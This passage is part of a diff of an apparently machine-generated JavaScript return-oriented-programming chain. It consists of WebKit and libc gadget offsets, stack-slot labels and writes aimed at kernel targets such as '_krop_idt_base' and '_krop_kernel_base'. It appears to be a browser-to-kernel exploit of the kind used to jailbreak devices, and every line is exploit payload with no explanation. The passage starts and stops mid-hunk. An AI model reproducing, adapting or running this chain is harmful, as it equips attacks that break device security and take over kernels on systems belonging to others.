db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5867: +//L5624: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+317368, //L5869 +ropchain+313568, //L5626 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+317352, //L5868 +ropchain+313552, //L5625 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5868: +//L5625: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5869: +//L5626: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -42841,39 +42000,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+317448, //L5871 +ropchain+313648, //L5627 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5871: +//L5627: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5870: +//L5628: db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi -//L5872: +//L5629: db([16, 0]); // 0x10 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+317584, //L5873 +ropchain+313784, //L5630 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+317616, //L5875 +ropchain+313816, //L5632 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+317600, //L5874 +ropchain+313800, //L5631 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5873: +//L5630: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5874: +//L5631: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5875: +//L5632: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -42886,78 +42045,78 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+317784, //L5877 +ropchain+313984, //L5634 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+317800, //L5878 +ropchain+314000, //L5635 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+317768, //L5876 +ropchain+313968, //L5633 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5876: +//L5633: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5877: +//L5634: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5878: +//L5635: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+317904, //L5881 +ropchain+314104, //L5638 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+317952, //L5883 +ropchain+314152, //L5640 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+317936, //L5882 +ropchain+314136, //L5639 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5881: +//L5638: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L5880: +//L5637: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5882: +//L5639: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5883: +//L5640: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+318064, //L5884+8 +ropchain+314264, //L5641+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+318056, //L5884 +ropchain+314256, //L5641 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L5884: +//L5641: db([0, 0]); // 0x0 set_gadgets([ -ropchain+318080, //L5884+24 -ropchain+318096, //L5879 +ropchain+314280, //L5641+24 +ropchain+314296, //L5636 libc_base+811575, //pop rsp -ropchain+318112, //L5885 -//L5879: +ropchain+314312, //L5642 +//L5636: libc_base+811575, //pop rsp -ropchain+319072, //L5886 -//L5885: +ropchain+315272, //L5643 +//L5642: libc_base+788575 //pop rax ]); -//L5887: +//L5644: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -42966,7 +42125,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L5888: +//L5645: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -42975,7 +42134,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L5889: +//L5646: db([28, 0]); // 0x1c set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -42983,8 +42142,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L5891: -ropchain+318320, //L5890 +//L5648: +ropchain+314520, //L5647 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -42992,87 +42151,87 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+392664, //L5892 -//L5890: +ropchain+396232, //L5649 +//L5647: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L5893: +//L5650: libc_base+793877, //pop rsi -ropchain+318408, //L5896 +ropchain+314592, //L5651 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5894: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L5896: +//L5651: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5652: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+318512, //L5899 +ropchain+314712, //L5656 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+318496, //L5898 +ropchain+314696, //L5654 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5898: +//L5654: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5899: +//L5656: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+318680, //L5902 +ropchain+314880, //L5659 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+318696, //L5903 +ropchain+314896, //L5660 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+318648, //L5900 +ropchain+314864, //L5657 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+318664, //L5901 +ropchain+314848, //L5658 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5900: +//L5658: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5901: +//L5657: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5902: +//L5659: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5903: +//L5660: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+318792, //L5905 +ropchain+314992, //L5662 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+318776, //L5904 +ropchain+314976, //L5661 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L5904: +//L5661: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5905: +//L5662: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -43080,38 +42239,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+318880, //L5907 +ropchain+315080, //L5664 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L5906: +//L5663: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L5907: +//L5664: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+318952, //L5910 +ropchain+315136, //L5665 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5908: -db([4294967292, 4294967295]); // -0x4 -set_gadget(libc_base+792472,); //pop rcx -//L5910: +//L5665: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5666: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+319016, //L5911 +ropchain+315216, //L5668 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5911: +//L5668: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -43121,18 +42280,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+316840, //L5853 -//L5886: +ropchain+313040, //L5610 +//L5643: libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+319128, //L5914 +ropchain+315328, //L5671 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L5913: +//L5670: db([4294967278, 4294967295]); // -0x12 set_gadget(libc_base+788575,); //pop rax -//L5914: +//L5671: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -43144,14 +42303,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+319232, //L5916 +ropchain+315432, //L5673 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L5915: +//L5672: db([4294967280, 4294967295]); // -0x10 set_gadget(libc_base+788575,); //pop rax -//L5916: +//L5673: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -43162,8 +42321,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L5918: -ropchain+319344, //L5917 +//L5675: +ropchain+315544, //L5674 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -43171,8 +42330,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+295616, //_sidt -//L5917: +ropchain+276744, //_sidt +//L5674: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -43180,55 +42339,55 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+319432, //L5921 +ropchain+315616, //L5676 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5919: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5921: +//L5676: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5677: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+319536, //L5924 +ropchain+315736, //L5681 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+319520, //L5923 +ropchain+315720, //L5679 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5923: +//L5679: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5924: +//L5681: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+319680, //L5927 +ropchain+315880, //L5684 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+319648, //L5925 +ropchain+315848, //L5682 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+319664, //L5926 +ropchain+315864, //L5683 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5925: +//L5682: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5926: +//L5683: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5927: +//L5684: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -43236,133 +42395,133 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+319776, //L5930 +ropchain+315960, //L5685 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5928: -db([4294967278, 4294967295]); // -0x12 -set_gadget(libc_base+792472,); //pop rcx -//L5930: +//L5685: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5686: +db([4294967278, 4294967295]); // -0x12 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+319880, //L5933 +ropchain+316080, //L5690 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+319864, //L5932 +ropchain+316064, //L5688 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5932: +//L5688: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5933: +//L5690: db([0, 0]); // 0x0 set_gadgets([ libc_base+270800, //mov ax, [rdi] libc_base+793877, //pop rsi -ropchain+320040, //L5937 +ropchain+316240, //L5694 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+319992, //L5934 +ropchain+316192, //L5692 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+320024, //L5936 +ropchain+316224, //L5693 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5934: +//L5692: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5935: +//L5691: db([16, 0]); // 0x10 set_gadget(libc_base+206806,); //pop rdi -//L5936: +//L5693: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5937: +//L5694: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+320096, //L5939 +ropchain+316296, //L5696 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L5939: +//L5696: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+320200, //L5940 +ropchain+316400, //L5698 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+320232, //L5942 +ropchain+316432, //L5699 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+320216, //L5941 +ropchain+316416, //L5697 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5940: +//L5698: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5941: +//L5697: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5942: +//L5699: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+320392, //L5946 +ropchain+316592, //L5703 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+320344, //L5943 +ropchain+316544, //L5701 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+320376, //L5945 +ropchain+316576, //L5702 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5943: +//L5701: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L5944: +//L5700: db([48, 0]); // 0x30 set_gadget(libc_base+206806,); //pop rdi -//L5945: +//L5702: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5946: +//L5703: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+320496, //L5948 +ropchain+316696, //L5705 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+320480, //L5947 +ropchain+316680, //L5704 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5947: +//L5704: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5948: +//L5705: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -43370,8 +42529,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L5950: -ropchain+398096, //L5949 +//L5707: +ropchain+397920, //L5706 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -43379,8 +42538,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L5952: -ropchain+320648, //L5951 +//L5709: +ropchain+316848, //L5708 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -43388,8 +42547,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L5951: +ropchain+159840, //_printf_ +//L5708: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -43397,101 +42556,103 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+320736, //L5955 +ropchain+316920, //L5710 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5953: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5955: +//L5710: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5711: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+320840, //L5958 +ropchain+317040, //L5715 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+320824, //L5957 +ropchain+317024, //L5713 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5957: +//L5713: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5958: +//L5715: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+320936, //L5960 +ropchain+317120, //L5716 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+320952, //L5961 +ropchain+317152, //L5718 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L5959: -ropchain+398504, //_krop_idt_base libc_base+792472 //pop rcx ]); -//L5960: +//L5716: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5961: +set_gadgets([ +libc_base+788575, //pop rax +//L5717: +ropchain+398304, //_krop_idt_base +libc_base+206806 //pop rdi +]); +//L5718: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5962: -db([4294967280, 4294967295]); // -0x10 -set_gadget(libc_base+792472,); //pop rcx -//L5964: +//L5719: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5720: +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+321104, //L5967 +ropchain+317304, //L5724 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+321088, //L5966 +ropchain+317288, //L5722 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5966: +//L5722: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5967: +//L5724: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+321248, //L5970 +ropchain+317448, //L5727 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+321216, //L5968 +ropchain+317416, //L5725 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+321232, //L5969 +ropchain+317432, //L5726 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5968: +//L5725: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5969: +//L5726: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5970: +//L5727: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -43500,39 +42661,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+321328, //L5972 +ropchain+317528, //L5728 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5972: +//L5728: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5971: +//L5729: db([29080032, 0]); // 0x1bbb9e0 set_gadget(libc_base+206806,); //pop rdi -//L5973: +//L5730: db([29080032, 0]); // 0x1bbb9e0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+321464, //L5974 +ropchain+317664, //L5731 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+321496, //L5976 +ropchain+317696, //L5733 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+321480, //L5975 +ropchain+317680, //L5732 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5974: +//L5731: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5975: +//L5732: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5976: +//L5733: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -43543,106 +42704,108 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+321600, //L5979 +ropchain+317784, //L5734 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L5977: -db([4294967264, 4294967295]); // -0x20 -set_gadget(libc_base+792472,); //pop rcx -//L5979: +//L5734: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5735: +db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L5980: +//L5737: db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+321744, //L5984 +ropchain+317944, //L5741 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+321728, //L5983 +ropchain+317928, //L5739 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5983: +//L5739: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5984: +//L5741: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+321840, //L5986 +ropchain+318024, //L5742 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+321856, //L5987 +ropchain+318056, //L5744 webkit_base+7438103, //mov [rsi], rax -libc_base+788575, //pop rax -//L5985: -ropchain+398968, //_krop_kernel_base libc_base+792472 //pop rcx ]); -//L5986: +//L5742: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L5987: +set_gadgets([ +libc_base+788575, //pop rax +//L5743: +ropchain+398768, //_krop_kernel_base +libc_base+206806 //pop rdi +]); +//L5744: db([0, 0]); // 0x0 set_gadgets([ webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L5988: +//L5745: db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+321992, //L5992 +ropchain+318192, //L5749 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+321976, //L5991 +ropchain+318176, //L5747 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L5991: +//L5747: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5992: +//L5749: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+322136, //L5995 +ropchain+318336, //L5752 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+322104, //L5993 +ropchain+318304, //L5750 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+322120, //L5994 +ropchain+318320, //L5751 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5993: +//L5750: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L5994: +//L5751: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5995: +//L5752: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -43651,39 +42814,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+322216, //L5997 +ropchain+318416, //L5753 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L5997: +//L5753: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L5996: +//L5754: db([448, 0]); // 0x1c0 set_gadget(libc_base+206806,); //pop rdi -//L5998: +//L5755: db([448, 0]); // 0x1c0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+322352, //L5999 +ropchain+318552, //L5756 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+322384, //L6001 +ropchain+318584, //L5758 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+322368, //L6000 +ropchain+318568, //L5757 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L5999: +//L5756: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6000: +//L5757: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6001: +//L5758: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -43694,61 +42857,61 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+322480, //L6003 +ropchain+318664, //L5759 